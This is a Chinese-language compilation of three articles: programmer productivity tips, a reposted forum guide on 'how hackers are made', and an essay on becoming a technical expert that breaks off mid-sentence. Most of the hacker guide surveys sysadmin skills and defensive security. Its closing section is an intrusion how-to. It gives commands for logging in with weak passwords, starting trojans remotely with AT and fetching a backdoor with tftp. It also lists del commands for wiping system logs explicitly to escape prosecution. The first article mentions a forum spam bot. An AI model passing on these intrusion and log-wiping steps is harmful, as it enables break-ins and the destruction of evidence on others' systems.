① 程序員如何提高自己的工作效率
程序員如何提高自己的工作效率?程序員要在IT界混出個名堂，也要有高效的工作效率才行。下面我為大家整理了程序員提高工作效率的辦法，歡迎大家閱讀參考!
程序員如何提高工作效率
1)鍵盤功底要扎實
敲鍵盤時要使用標准指法。可能你認為這是程序員的基本功，可是我發現其實很多程序員都做不到這點。看著他們敲代碼時那笨拙的指法我就心急。其實煉成標准指法不難，相當年我還是一指禪，打字極慢，痛定思定，在一周內我打字必用標准指法，再別扭也要堅持，一周後就適應了標准指法了。現在不說運指如飛也算是略有小成。練習指法和鍵盤速度可以給大家推薦一些網站:http://10fastfingers.com/typing-test/english,這個就是練習標准指法的，我可以輕松上60 WPM(每分鍾60單詞)，有個外國同事可以達到130以上，那才叫恐怖。http://typing.io/lessons，專門供程序員練習敲代碼的網站，融合了各種括弧和標點，難度有點大。
2)要熟悉IDE的各種快捷鍵及特性
IDE基本上是碼農們上班中使用時間最長的軟體。首先要選擇一個趁手的IDE，俗話說，工玉成其事，必先利其器嘛。如果是C#陣營的那肯定是最新版的Vistual Studio了，如果是java陣營的話當然是Intellij了(eclipse作為開源IDE，真心比不過Intellij)。我現在使用Intellij可以在95%的情況下不用滑鼠，全鍵盤完成開發過程中的大部分操作。我覺得沒有什麼常用快捷鍵、不常用快捷鍵之分，只要你知道的快捷鍵就要拿來用。
尤其是各種重構快捷鍵必須要熟練掌握，當我看到碼農修改變數名時不用重構快捷鍵，而是自己手動在引用的地方一個個改，然後編譯查錯時，真為他們捉急。還有各種inline，introce的快捷鍵真是好用到爆，掌握了這些快捷鍵可以說對代碼進行任何重構都不費除灰之力，我們的注意力也從手動修改代碼轉移到如何發現壞味道了。Vistual Studio中推薦安裝ReSharper，其開發公司與Intellij開發公司是同一家。除了重構快捷鍵，還要掌握一些IDE的特性，比如調試時可以插入指定條件來命中斷點等，這些就要平時的積累和學習，另外還有好奇心。我敢說你現在挨個看IDE菜單，至少有30%功能你從沒用過或不知道是干什麼用的，其實裡面有些功能是非常實用的，只是你沒嘗試而已。
3)至少熟練掌握一種shell終端
作為程序員老用圖形化界面咋行，要用那種古老的命令行界面才能顯示出你的高深嘛!滑鼠點界面誰都會，而命令行界面不是誰都能駕馭。有些功能在命令行下要比圖形界面下高效N倍。比如我使用git提交文件時都是在命令行下查看哪些文件被修改了，哪些是新添加的，修改的部分是哪些等。
使用圖形化界面要用滑鼠點來點去，效率實在太低。linux系統下的終端太多了，就不推薦了。Mac系統下推薦使用iTerm2這個殼，其比MAC自帶的terminal多了不少實用的特性，也能方便切換自己喜歡的配色。Windows下當然首推Windows Power Shell了。Windows Power Shell本身集成了常用的實用工具，並且與.net framework無縫結合，這點是那些在Windows上的類Linux模擬器(比如Cygwin)是遠遠比不了的。
4)具有一定編寫shell腳本的功底
光會用現有的`腳本還不行，還要會根據情況編寫腳本來實現自己特定的一些目標。比如我使用MAC機上的終端時，經常需要在不同目錄間跳來跳去，每次都打一串的cd …..很麻煩，後來我就自己寫了一個小工具，可以給指定的目錄起別名，想要跳到這個目錄只要敲別名即可(參見 http://www.huangbowen.net/blog/2013/02/16/gtshell/)。
還有我在Windows系統上工作時，也經常編寫一些Power Shell腳本，比如一個命令就啟動指定的FTP伺服器，一些小命令用來實現快速在不同項目源碼間切換並執行構建命令等。這些命令編寫起來都很簡單，在提高工作效率方面很好幫助，因為一些常用的費時的操作每天重復N次，讓人很厭煩，如果能夠使用腳本將其自動化起來，豈不是就把自己給解脫了?
5)多語言編程
在這個世界有太多太多的編程語言，但凡稍微流行的編程語言都有自己獨特的優勢，而我們要善於利用每種編程語言的特點，而不是整天吵鬧那種語言更強大。我自己熟悉C#、java語言，也用JavaScript、Ruby、Python、Groovy做過一些東西，甚至為了理解函數式編程還專門學習了Haskell語言。這些語言都給我帶來了實用的效果。比如我用Ruby寫了一個插件，可以自動把我主站上的博客同步到博客園中的博客來。
我使用Groovy給我的Java代碼寫單元和集成測試，比使用Java語言編寫要快很多。我用Python和WebDriver寫了一個論壇灌水工具來刷積分。你掌握的語言越多，你的視野就越廣,你對編程的理解就會越深入。當然我不贊成盲目的求多，至少你要有2到3門精通的語言，從語言語法、語言運行時、語言特性、語言API等方面都要有深入學習和見解，當你再學習其它語言時也不會浮於表面的了。
6)這是最重要的一點，時刻保持一顆好奇心，一顆堅定不移的提高工作效率的決心
很多人都抱著差不多態度，心想“我雖不是標准指法，敲鍵盤速度也差不多”，“我IDE快捷鍵用的不多，也沒覺得那裡影響到我開發”，“我只會C#一種語言，還不照樣干到現在了嗎?”之所以有這種想法，是是因為你沒有見到真正高效的人。我曾看到某IT界牛人那出神入化的VIM操作，簡直已經超越了指哪打哪的境界，已經達到了鍵隨心動的境界。
我也看到某高級程序員使用IDE快捷鍵三下五除二就把一段醜陋的代碼給收拾的服服帖帖。耳濡目染之下讓我堅定了這個決心，不做差不多先生。所以平時我和同事一起工作時，就留心他們有哪些方法和工具來提高自己的工作效率。如果他們使用了一些好用的快捷鍵而我不知道，那我就會記下來下次自己用(快捷鍵熟練程度上我早已是我們項目組的number one)。
如果看到他們使用了一些好的工具我也會立馬回去下載下來自己用。(比如前兩天我看到同事使用SuperPutty來連接遠程主機，其支持多tab方式，這正是我想要的功能。我回去立馬下載下來，拋棄了以前的Putty)這樣時間長了，集眾人之所長，你自然也成為效率達人了。
② 初學電腦—— 高手
黑客是怎樣煉成的
編者：關於黑客是怎樣煉成的，網上有了n個版本了。不過多數是嘩眾取寵。
看看這個吧，是我在網上所能看到的最詳細的教程了．相信對你一定會有好處的。
基礎：
如何去學習
·要有學習目標
·要有學習計劃
·要有正確的心態
·有很強的自學能力
學習目標
·1.明確自己的發展方向(你現在或者將來要做什麼,程序員?安全專家?網路黑客等)
·2.自己目前的水平和能力有多高
·能簡單操作windows2000
·能簡單配置windows2000的一些服務
·能熟練的配置Windows2000的各種服務
·能熟練配置win2000和各種網路設備聯網
·能簡單操作Linux,Unix,Hp-unix, Solaris中的一種或者多種操作系統
·能配置cicso,huawei,3com,朗迅等網路設備
·會簡單編寫C/C++,Delphi,Java,PB,VB,Perl
·能簡單編寫Asp,Php,Cgi和script,shell腳本
·3.必須學會不相信態度,尊重各種各樣的能力
·不要為那些裝模做樣的人浪費時間
·尊重別人的能力,
·會享受提高自己能力的樂趣.
·在知道了自己的水平和能力之後就要開始自己的目標了
·--------安全專家
·--------黑客
·--------高級程序員
·黑客是建設網路,不是破壞網路, 破壞者是駭客;
·黑客有入侵的技術,但是他們是維護網路的,所以和安全專家是差不多的;
·因為懂得如何入侵才知道如何維護
·因為懂得如何維護才更要了解如何入侵
·這是 黑客與安全專家的聯系
·但,他們都是在會編程的基礎上成長的!
·下面我們開始我們的學習計劃!
學習計劃
有了學習計劃才能更有效的學習
安全學習計劃
不奢求對win98有多麼精通,我們也不講解win98如何應用,如何精通,我們的起步是win2000 s
erver,這是我們培訓的最低標准,你對英語有一定的了解也是必不可少
最基礎
·a.會裝win2000,知道在安裝的時候有兩種分區格式,NTFS與FAT32 及他們的區別,知道win2
000可以在安裝的時候分區,格式化硬碟, 可以定製安裝,可以定製自己需要安裝的一些組件
,如果有網路適配器,可以直接加入域中 學習點:NTFS和FAT32分區的不同 各個組件的作用
域的定義
·b.知道如何開,關機 知道注銷的用處
·c.知道win2000下面各主要目錄的作用 Documents and Settings,WINNT,system32 Progra
m Files
·d.知道管理工具裡面各個組件的定義
·e.學會應用命令提示符cmd(dos)
·f.知道計算機管理裡面的各個選項的不通
·g.知道win2000強大的網路管理功能
·h.能非常熟練的操作win2000
·i.知道IP地址,子網掩碼,網關和MAC的區別
進階
·A.配置IIS,知道各個選項的作用
·B.配置DNS,DHCP
·C.配置主控制域,輔助域
·D.配置DFS
·E.配置路由和遠程訪問
·F.配置安全策略IPSEC
·G.配置service(服務)
·H.配置磁碟管理,磁碟分額
·i. 配置RAID(0,1,0+1,5)
·J.路由器的安裝與簡單配置
·K.交換機的安裝與簡單配置
·L.常見的VPN,VLAN,NAT配置
·M.配置常見的企業級防火牆
·N.配置常見的企業級防病毒軟體
高級
·之前我們學到的是任何一個想成為網路安全專家和黑客基本知識中的一部分
·你作到了嗎??
·如果你做到了,足以找到一份很不錯的工作!
配置負載均衡
·配置WIN2000+IIS+EXCHANGE+MSSQL+SERVER-U+負載均衡+ASP(PHP.CGI)+CHECK PIONT(ISA
SERVER) ·
·配置三層交換網路 ·
·配置各種復雜的網路環境
·能策劃一個非常完整的網路方案 ·
·能獨自組建一個大型的企業級網路 ·
·能迅速解決網路中出現的各種疑難問題
結束
·在你上面的都學好了,你已經是一個高級人才了,也是我們VIP培訓的目標!
·可以找到一份非常好的工作
·不會再因為給女朋友買不起玫瑰而發愁了!
安全：
導讀
·系統安全服務(SYSTEM)
·防火牆系統(FIREWALL)
·入侵檢測(IDS)
·身份驗證(CA)
·網站監控和恢復(WEBSITE)
·安全電子商務(E-BUSINESS)
·安全電子郵件(E-MAIL)
·安全辦公自動化(OA)
·Internet訪問和監控(A&C)
·病毒防範(VIRUS)
·虛擬區域網(VPN)
系統安全服務
·系統安全管理
·系統安全評估
·系統安全加固
·系統安全維護
·安全技能學習
系統安全管理
·信息系統安全策略
·信息系統管理員安全手冊
·信息系統用戶安全手冊
·緊急事件處理流程
系統安全評估
1、系統整體安全分析
· 分析用戶的網路拓撲結構，以找出其結構性及網路 配置上存在的安全隱患。
· 通過考察用戶信息設備的放置場地，以使得設備物理上是安全的。
· 分析用戶信息系統的管理、使用流程，以使得系統 能夠安全地管理、安全地使用
2、主機系統安全檢測
· 通過對主機進行安全掃描，以發現系統的常見的安全漏洞。
· 對於特定的系統，採用特別的工具進行安全掃描。
· 根據經驗，對系統存在的漏洞進行綜合分析。
· 給出系統安全漏洞報告。
· 指出各個安全漏洞產生的原因以及會造成的危險。
· 給出修復安全漏洞的建議
3、網路設備安全檢測
· 通過對網路進行安全掃描，以發現網路設備的安全漏洞。
· 根據經驗，對網路設備存在的漏洞進行綜合析。
· 給出網路設備安全漏洞報告。
· 指出各個安全漏洞產生的原因以及會造成的險。
· 給出修復安全漏洞的建議。
安全系統加固
·為用戶系統打最新安全補丁程序。
·為用戶修復系統、網路中的安全漏洞。
·為用戶去掉不必要的服務和應用系統。
·為用戶系統設置用戶許可權訪問策略。
·為用戶系統設置文件和目錄訪問策略。
·針對用戶系統應用進行相應的安全處理。
安全系統維護
·防火牆系統維護，安全日誌分析
·IDS系統維護，安全日誌分析
·VPN系統維護，安全日誌分析
·認證系統維護，安全日誌分析
·伺服器、主機系統，安全日誌分析
·其它各類安全設施維護及日誌分析
安全技能培訓
·網路安全基礎知識
·網路攻擊手段演示和防範措施
·防火牆的原理和使用
·VPN的原理和使用
·漏洞掃描工具的原理和使用
·IDS（入侵檢測系統）的原理和使用
·身份認證系統的原理和使用
·防病毒產品的原理和使用
·系統管理員安全培訓
·一般用戶安全培訓
防火牆系統
·防火牆的定義
·防火牆的分類
·包過濾防火牆
·應用網關防火牆
·狀態檢測防火牆
·一般企業防火牆配置
·政府機構防火牆配置
·涉密網路保密網關配置
·高可用性和負載均衡防火牆系統
·高速防火牆系統
防火牆的定義
·用以連接不同信任級別網路的設備。
·用來根據制定的安全規則對網路間的通信進行控制
防火牆的分類
·包過濾 (Packet Filters)
·應用網關 (Application Gateways)
·狀態檢測(Stateful Inspection)
包過濾防火牆
·包 過 濾 技 術
·主要在路由器上實現，根據用戶定義的內容（如IP地址、埠號）進行過濾。包過濾在網
絡層進行包檢查與應用無關。
· 優 點
· 具有良好的性能和可伸縮性。
· 缺點
· 由於包過濾技術是對應用不敏感的，無法理解特定通訊的含義，因而安全性很差。
應用網關防火牆
·應用網關技術
·第二代防火牆技術，其在應用的檢查方面有了較大的改進,能監測所有應用層，同時對應
用「內容」（Content Information）的含義引入到了防火牆策略的決策處理。
· 優點
· 安全性比較高。
· 缺點
· 1、該方法對每一個請求都必須建立兩個連接，一個從客戶端到防火牆系統，另一個從
防火牆系統到伺服器，這會嚴重影響性能。
· 2、防火牆網關暴露在攻擊者之中。
· 3、對每一個代理需要有一個獨立的應用進程或 daemon 來處理， 這樣擴展性和支持
新應用方面存在問題。
檢測狀態防火牆
· 屬第三代防火牆技術，克服了以上兩種方法的缺點，引入了OSI全七層監測能力，同時
又能保持 Client/Server的體系結構，也即對用戶訪問是透明的。
· 防火牆能保護、限制其他用戶對防火牆網關本身的訪問。
· 狀態檢測技術在網路層截獲數據包後交給INSPECT Engine,通過 INSPECT Engine 可以
從數據包中抽取安全決策所需的所有源於應用層中的狀態相關信息，並在動態狀態表中 維
持這些信息以提供後繼連接的可能性預測。該方法能提供高安全性、高性能和擴展性、高伸
縮性的解決方案。
入侵檢測系統
·處理攻擊時遇到的典型問題
·解決入侵的方法和手段
·基於網路的入侵檢測
·基於主機的入侵檢測
·入侵檢測系統典型配置
處理攻擊時遇到的問題
·獲得的信息不足
·不知到網路上發生了什麼事。
·無法判定系統是否已經被入侵。
·信息不準確
·人員少
·沒有足夠的人員維護管理。
·缺乏規范的處理程序
·發現攻擊時如何反應?
·下一步該如何處理?
解決入侵的方法和手段
·採用入侵實時入侵監控系統（IDS）
·對系統、網路中發生的事件進行實時監控。
·當發生入侵事件時能即時反應。
·對入侵事件進行詳細記錄並跟蹤。
基於主機的入侵檢測
·軟體模塊安裝在包含有重要數據的主機上
·監視操作系統的日誌以發現攻擊的特徵。
·監視代理所處主機上的所有進程和用戶.
·監視暴力登錄攻擊（brute-force login）, 試圖改變或繞過安全設定，及特權的濫用等
。
·當新的日誌產生時，為了減小對CPU的影響，代理程序暫時中斷。
基於網路的入侵檢測
·軟體安裝在專門的主機上，放置於關鍵的網段
·將配置該軟體主機的網卡設置為混雜模式，使得該主機能接受網段上所有的包。
·分析數據包以判斷是否有黑客攻擊。
·監視網段上的所有數據。
·對網路的流量無任何影響。
·能檢測到 denial of service attacks, unauthorized access attempts, pre-attack s
cans等攻擊。
身份認證系統
·用戶身份認證的方法
·不同認證方法的安全級別
·用戶身份認證的常用方式
·解決問題的方法
·目前比較成熟的雙因素認證方法
用戶身份驗證
·你知道的一些東西
· 密碼, 身份證號，生日
·你有的一些東西
· 磁卡, 智能卡,令牌, 鑰匙
·你獨有的一些東西
· 指紋,聲音，視網膜
密碼是不安全的
·可以破解密碼的工具太多
·大多密碼在網路中是明文傳輸的
·密碼可以網路離線時被窺測
·密碼和文件從PC和伺服器上被轉移了
·好記的密碼容易被猜到,不易猜測的密碼又太難記
解決方法
·使用混合的工具:如IC卡+PIN
網站監控與恢復系統
·典型的Web伺服器應用
·Web伺服器存在的安全問題
·網站安全解決方法
典型web伺服器應用
·Internet-->路由器-->防火牆-->web站點
· |
· |
· 內部網
·所有的放在防火牆後面
Web伺服器存在的安全問題
· 網頁被非法篡改是網站內容提供者最頭痛的問題。在採用防火牆後，Web伺服器本身的漏
洞成為了網站被黑的主要問題。
· Web應用伺服器(如IIS,Apache中存在著大量的安 全漏洞.)
· 用戶自己開發的CGI、ASP、PHP應用中存在著大量潛在的漏洞。
網站安全
·採用Web伺服器監控與恢復系統
·該系統提供對網站文件內容的實時監控，發現被改動後立即報警並自動恢復。
電子商務安全系統
·典型的電子商務應用
·電子商務中存在的安全問題
·電子商務的安全解決方法
·實時數據交換系統
典型電子商務應用
·Internet--->防火牆--->Web伺服器
· || |
· || |
· 內部網(資料庫)
電子商務中存在的安全問題
·1、Web伺服器端
·Web應用伺服器（如IIS、Apache中存在著大量的安全漏洞。用戶自己開發的CGI、ASP、PH
P應用中存在著潛在的漏洞。
· 黑客通過這些漏洞攻擊Web伺服器，可非法篡改網頁，造成惡劣影響，動搖了電子商務使
用者的信心。
· 甚至可獲得Web伺服器上大量的敏感資料，如用戶的信用卡號，用以連接內部資料庫的帳
號和口令。
· 可能通過控制Web伺服器，來攻擊內部資料庫。
電子商務中存在的安全問題
·2、SSL協議
·SSL加密強度低。由於瀏覽器默認的加密模塊只支持40位的低強度加密，而且即使在瀏覽
器中安裝更高位的加密模塊，由於WEB伺服器不提供對高位SSL鏈接的支持同樣無法實現高強
度SSL加密鏈接。
· 無法解決電子商務中的用戶簽名。SSL鏈接建立WEB伺服器和用戶瀏覽器之間的安全通道
只能保證在安全通道內的信息不被竊聽或篡改，並不能對用戶發送的信息進行簽名以保證信
息的有效性和不可抵賴性，而這正是電子商務中必須解決的問題。
電子商務的安全解決方法
·將WEB伺服器分為兩部分：一般內容的WEB伺服器和交易WEB伺服器。
· 一般內容的WEB伺服器放置在DMZ區內，採用WEB站點監控和恢復系統保護，防止主頁被非
法改動。
· 交易WEB伺服器放置在內部網內，通過一台物理分隔的實時數據交換系統將其與DMZ區相
連。
· 在客戶機和伺服器端安裝SSL代理，從而獲得128位的高強度加密通道
實時數據交換系統
·將系統外部 Web伺服器和內部應用Web伺服器物理隔開.
·外部Web伺服器用於存放一般的信息，內部Web服 務器用於存放敏感信息，並和內部數據
庫連接。
·外部用戶通過http訪問位於DMZ區內的一般Web伺服器。
·當進行交易時，用戶需訪問位於內部網內的應用伺服器。
·https連接首先到達實時數據交換系統的虛擬外部Web伺服器，實時數據交換系統將https
協議解開，只將https連接的數據內容拷貝到虛擬內部Web伺服器，虛擬內部Web伺服器將使
用該數據重新發起https連接到實際的內部應用Web伺服器.
·內外通過實時數據交換系統進行數據交換，無任何協議和連接穿過實時數據交換系統。
·即使DMZ區的Web伺服器受到攻擊, 攻擊者也的不到任何有用的信息
安全電子郵件系統
·電子郵件的安全問題
·安全電子郵件的解決方法
·一個安全郵件的使用過程
電子郵件的安全問題
·如何保證發送的敏感信息不被泄漏
·如何保證發送的信息不被篡改
·如何確認發件人的真實身份
·如何防止發件人的抵賴行為
安全電子郵件的解決方法
·將PKI體系應用到郵件系統中
·郵件的加密和解密以實現數據的保密。
·郵件的數字簽名（鑒別）實現發件人認證和不可抵賴。
·完整性校驗功能防止信息傳輸過程中被篡改可靠的安全性。
·採用公開密鑰和對稱密鑰相結合的密鑰體系。
·支持128bit對稱密鑰演算法和1024bit公開密鑰演算法。本帖地址為：http://www.nohack.cn/bbs/thread-4689-1-1.html
點擊這里復制此帖網址
是水何必裝純、是人何必稱神！
UID409 帖子541 精華0 積分576 手冊幣70 閱讀許可權50 性別男 在線時間68 小時 注冊時間2005-10-16 最後登錄2007-11-11 查看詳細資料
引用 使用道具 報告 回復 TOP
收藏此頁到：
兜兜裏囿糖
Safety少尉
個人空間 發短消息 加為好友 當前離線 2# 大 中 小 發表於 2006-4-17 13:12 只看該作者
辦公自動化系統的安全問題
· 如何保證發送的敏感信息不被泄漏
· 如何保證發送的信息不被篡改
· 如何確認發件人的真實身份
· 如何防止發件人的抵賴行為
安全辦公自動化系統的解決方法
·將PKI體系應用到辦公自動化系統中
·工作流信息的加密和解密以實現數據保密
·工作流信息的數字簽名（鑒別）實現發件人認證和不可抵賴。
·完整性校驗功能防止信息傳輸過程中被篡改可靠的安全性。
·採用公開密鑰和對稱密鑰相結合的密鑰體系
·支持128bit對稱密鑰演算法和1024bit公開密鑰演算法。
Internet訪問及控制系統
·Internet使用存在的問題
·Internet使用的解決方法
·內容緩存系統
·Internet站點過濾系統
Internet訪問存在的問題
·Internet接入帶寬不足，訪問比較慢。
·大量的用戶訪問相同的內容，造成帶寬的進一步擁擠。
·在上班時間里大量的Internet訪問是與業務無關的。
·有人使用公司的Internet系統訪問色情網站。
·有人使用公司的Internet系統訪問反動站點。
·管理人員無法知道Internet系統的使用情況。
Internet訪問的解決方法
· 對於問題一，採用內容緩存系統。
· 對於問題二，採用Internet 站點過濾系統。
內容緩存系統
·1、Client 發起http連接請求
·2、Proxy 收到請求後將檢查內部緩存內是否有所需內容，若有，則返還給Client。
·3、若無，則Proxy根據請求向目的伺服器發起請求。
·4、Web伺服器將內容返回到Proxy伺服器。
·5、Proxy伺服器將得到的內容發回給Client，並在自己的緩存中保存一份。
Internet站點過濾系統 (一)
·1、Client 發起http連接請求
·2、連接到達防火牆時防火牆將URL送到WebSense Server 檢查。
·3、WebSense 將審查結果返回到防火牆。
·4、防火牆根據其策略決定是否讓該連接通過。
Internet站點過濾系統 (二)
·1、Client 發起http連接請求
·2、Proxy 受到請求後將URL送到WebSense Server檢查。
·3、Proxy根據返回的結果決定是否接收該連接請求。
病毒防範系統
· 互連網時代對防病毒系統的要求
· 計算機病毒解決方法
· 典型病毒防範系統部署
互聯網時代對防病毒系統的要求
· 由於計算機的聯網使用，使得病毒傳播的途徑大為增多：網路文件共享、電子郵件、Int
ernet文件下載，傳播速度也大為加快。
· 新病毒的出現速度加快，用戶的防病毒軟體的病毒特徵碼沒能及時更新。
· 目前已出現了惡意的Java、ActiveX，當使用者瀏覽到包含這些代碼的網頁時，會造成安
全問題。
· 一些來歷不明的電子郵件程序或下載的程序中帶有特洛依木馬，可能會造成受害者的主
機被他人控制。
計算機病毒解決方法
· 從系統的觀點考慮病毒的防範，在所有病毒傳輸的途徑上均配置防病毒軟體，如客戶端
（Win98、 · Win2000)、文件伺服器（NT、Netware）、郵件伺服器（Exchange、Lotus
Notes）、Internet接入系統（Proxy、Firewall)等。
· 整個病毒防範系統採用集中管理的方式，病毒特徵碼統一更新，安全策略集中設定，從
而使得整個網路系統的病毒特徵碼得到快速更新。
· 通過在客戶端的瀏覽器和Proxy、Firewall中嵌入病毒檢查軟體，來防範下在程序中帶有
的病毒和可能的惡意Java、ActiveX等可執行代碼的攻擊。
VPN（虛擬私有網）
· 數據加密分類
· 物理線路加密
· 數據鏈路加密
· 網路層加密—IPSec
· 傳輸層加密—SSL
數據加密類型
·物理層->物理層 物理線路加密
·數據鏈路層->數據鏈路層 (路由器訪問)
·在數據鏈路層(如PPP）進行加密 L2TP、PPTP、L2F
·網路層->網路層(路由器 防火牆 主機)
·在網路層 （如IP）進行加密 IPSec
·傳輸層->傳輸層 (對TCP進行加密 SSL)
·應用層->應用層(在應用層 (如TCP）進行加密 S/MIME、SET、SSH)
物理線路加密
· DDN 加密機
· 幀中繼加密機
· 非同步撥號Modem
· ISDN線路密碼機
· ATM加密機
注:傳輸層加密
·Secure Sockets Layer (SSL) 是一個端到端的Internet 安全協議，通過採用數字證書，
它提供了數據加密、身份認證的功能。SSL建立在傳輸層，它為客戶機和伺服器在應用級建
立起一個端到斷的安全會話。
·SSL代理—128位的高強度加密模塊
結束語·恭喜你:
·學完這些並且可以熟練應用,已經是一個真正的網路安全專家了!
·希望此時的你旁邊有個溫柔稍有點調皮的女朋友,為這孤獨而寂寞的網路添加一點跳動的
色彩!
黑客編：
必須要掌握的幾個命令
·Net
·netsh
·Ftp
·hostname
·Telenet(nc)
·tracert
·At
·Tftp
·Netstat
·Regedit
·Ping
必須要掌握的幾個協議
·http
·dns
·ftp
·Pop
·Smtp
·Icmp
·Udp
·tcp
開始
·掌握了黑客攻擊的方式和手段後,那麼學習黑客就簡單多了!
·因為你掌握了這些,剩餘的就是使用工具入侵
·熟悉掌握一套自己用的黑客工具
高級
·自己編寫專用的黑客工具
·自己發現系統漏洞
黑客入侵手段
·收集信息:
· 收集要入侵的目標信息
· IP,域名,埠,漏洞,位置
弱口令
·在nt\2000\xp\2003中弱口令可以用
·Net use \ip 「password」 /user:user
·如果目標機開3389服務,可以直接連接
·在sql的sa弱口令,可以用sql連接器直接 ·登陸
後門木馬
·如果有ipc$共享,可以過去木馬後門
·用at啟動
·AT \ip time /INTERACTIVE
·如果可以得到shell,也可以用tftp
·Tftp.exe –i ip get *.* *.*
·然後直接安裝 ·如果有3389,可以自己建一個iis,下載 直接運行
密碼破解
·遠程破解mysql,mssql,ftp,mail,共享密碼
·本地破解管理員(administrator)密碼
緩沖溢出
·可以用緩沖溢出攻擊,
·比如流行的webdev,rdcom模塊漏洞
·可以直接得到system管理許可權
·緩沖溢出後的一般現象是:
·Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
Web服務漏洞
·例如:
·Unicode漏洞遍歷磁碟和執行程序
·二次編碼漏洞遍歷磁碟和執行程序
·.HTR漏洞查看源代碼
嗅探監聽
·例如:
·針對web監聽
·針對mail監聽
·工具如:sinffer , iris
欺騙攻擊
·例如:
·運用arp欺騙攻擊
偽裝欺騙
·常見的如:mail病毒
·把一個文件改名字甚至圖標,欺騙對方執行
社會工程學
·例如:
·QQ聊天誘惑
·EMAIL信息
·電話
·誘惑
拒絕服務
·例如:
·Dos攻擊
·Ddos攻擊
利用跳板
·利用自己的肉雞作為跳板攻擊別的機器
·My PC------>跳板(肉雞)--->目標
路由器漏洞
·如:
·原始密碼
·程序漏洞
防火牆
·利用欺騙攻擊防火牆,導致防火牆功能失效
·利用防火牆的模塊漏洞
unix/linux
·NetWare Linux unix solais Solaris hp-unix Aix 等
·這些目前先不講解
精通黑客工具
·必須有一套自己可以完全掌握的黑客工具
·如埠掃描 Nscan,bluescanport
·監聽工具:sinffer iris
·telnet工具:nc
·掃描工具:sss,nmap, LANguard
·後門工具:radmin,winshell
·密碼破解:lc4
·遠程管理:pcanywhere
·會使用各種經典的黑客工具
清除日誌
·在你入侵機器以後,離開的時候,要完全清除
·自己在那台機器上留下的痕跡
·例如清除
·Del C:\WINNT\system32\LogFiles\*.*
·Del C:\WINNT\system32\*.log
·Del C:\WINNT\system32\*.txt
·Del C:\WINNT\*.log
·Del c:\winnt\*.txt
如果你不清除日誌
·當目標機器的管理員發現你的證據
·完全可以讓你在大牆內渡過一段日子
黑客
·當你完全掌握這些後
·你就成為了一名小黑客
高級
·編寫自己的黑客工具
·發現系統漏洞
高級黑客
·目前你足以成為一個高級黑客了
真正的黑客
·精通各種網路協議
·精通操作系統
·精通編程技術
·精通安全防護
·不搞破壞
·挑戰技術難題
結束
·想學好這些,並不是靠別人給你的,而是靠自己的努力,自己的自學得到的!
·別人只能指導你,怎麼去做,只能告訴方法,
·真正的實施是你自己,經過N*N個日夜努力換來的
·不要一個問題問多次,要多動手,動腦!
·Google裡面有太多的答案,為什麼我搜索不到?因為你的關鍵字用的不對!
·黑客基地是為了培養出一批優秀的網路人才,讓更多想學習網路的愛好者有一個理想的學
習環境
·這三篇幻燈片是我們多年的經驗得到的!
·很有價值,望好好保存!仔細研究!
技術巔峰
·希望我們能在這里相聚!
本篇文章來源於 黑客手冊技術論壇
原文鏈接：http://www.nohack.cn/bbs/thread-4689-1-1.html
③ 技術大牛是如何煉成的
如果回答對樓主有幫助，給個採納好不，謝謝啦
破侖說：不想當將軍的士兵，不是好士兵。無論你在做開發、測試、運維，你都是一個技術人員，而我相信，每個技術人員的心中，都有一個成為技術大牛的目標，這個目標鞭策著每一位有夢想的人，去努力和改進自己。 夢想總是在現實面前有過一度的彷徨，因為你會發現，真正的工作和心中的理想狀態天壤之別，不是一碼事。當你面對的是，天天加班寫業務代碼，每天都有執行不完的測試，扛機器接網線敲shell命令，你也許會懷疑，這是我想要的人生嗎？接下來，就讓我們帶著疑惑，去尋找答案！三大誤區誤區一：拜團隊技術大牛為師，給你開小灶首先，不可否認，大牛的確有能力將你鍛煉培養成另一位大牛，但是，無論是單獨給你開小灶，還是培訓整個團隊，時間成本消耗過大，因此，一般沒有大牛願意這樣做。其次，很多人都認為不懂就問是個好習慣，但是你忽略了很多問題大牛是不屑回答的，比如像「jvm的-Xmn參數如何配置」這種上網能找到答案的問題，只會浪費他人以及自己的時間。最後，大牛是個極具小眾的群體，因此，直接請教和輔導的機會非常少，即使有幸參加過幾次真正大牛的培訓，也不太可能讓你嫣然一變，成為技術大牛的。總而言之一句話，以自己為主，系統且有針對性的進行學習；然後再以請教學習為輔提升自己。誤區二：不斷重復，停滯不前首先，要認清一個事實，寫不好業務代碼和只把業務代碼寫好的程序員，在技術大牛的世界裡，沒有什麼本質的不同。如果光是沉浸在一個基礎技術里積累學習，那麼毫無疑問，這是你的慣性和惰性在束縛著你前進，打破它，不斷向更大的挑戰邁進，最終成為他人眼中的大牛。誤區三：大環境的不公與碎片化時間首先，大多數人都在抱怨中國的環境對於自己可能性的扼殺，並認為很多本來能成為大牛的人才被現實埋沒，不可否認，這個理由具有一定的客觀性，因為環境的確可以改變一類人的發展和命運。但是，如果我們轉過身來自問，是否自己真的已經傾盡全力？我相信，總是存在一些人，借著社會不公的理由，給予自己偷懶的借口；畢竟，大牛還是會有的，萬一就是你呢？其次，如果你抱怨現如今社會的碎片化時間，不能有整段時間提供自己深入學習，那麼，是否先改變自己的一個觀念，那就是碎片化時間也可以深入學習。而未來，利用碎片化時間學習將可能成為一種趨勢。正確的做法1、盡量多的嘗試當你每次都做得更多，隨著時間的發展，將會是這樣，產品討論需求找你、測試有問題也找你、老大對外支撐也找你，於是，你就成了這個系統的「專家」了。要想有機會，那就得與眾不同，努力做到更多。怎麼做得更多呢？可以從以下幾個方面著手：1）熟悉不止你負責的更多業務，熟悉不止你寫的更多代碼。好處：需求分析的時候更加准確，能夠在需求階段就識別風險、影響、難點問題處理的時候更加快速，因為相關的業務和代碼都熟悉，能夠快速地判斷問題可能的原因並進行排查處理方案設計的時候考慮更加周全，由於有對全局業務的理解，能夠設計出更好的方案2）熟悉端到端比如說你負責web後台開發，但實際上用戶發起一個http請求，要經過很多中間步驟才到你的伺服器（例如瀏覽器緩存、DNS、nginx等），伺服器一般又會經過很多處理才到你寫的那部分代碼（路由、許可權等）這整個流程中的很多系統或者步驟，絕大部分人是不可能去參與寫代碼的，但掌握了這些知識對你的綜合水平有很大作用，例如方案設計、線上故障處理這些更加有含金量的技術工作都需要綜合技術水平。3）自學一般在比較成熟的團隊，由於框架或者組件已經進行了大量的封裝，寫業務代碼所用到的技術確實也比較少，但我們要明白「唯一不變的只有變化」，框架有 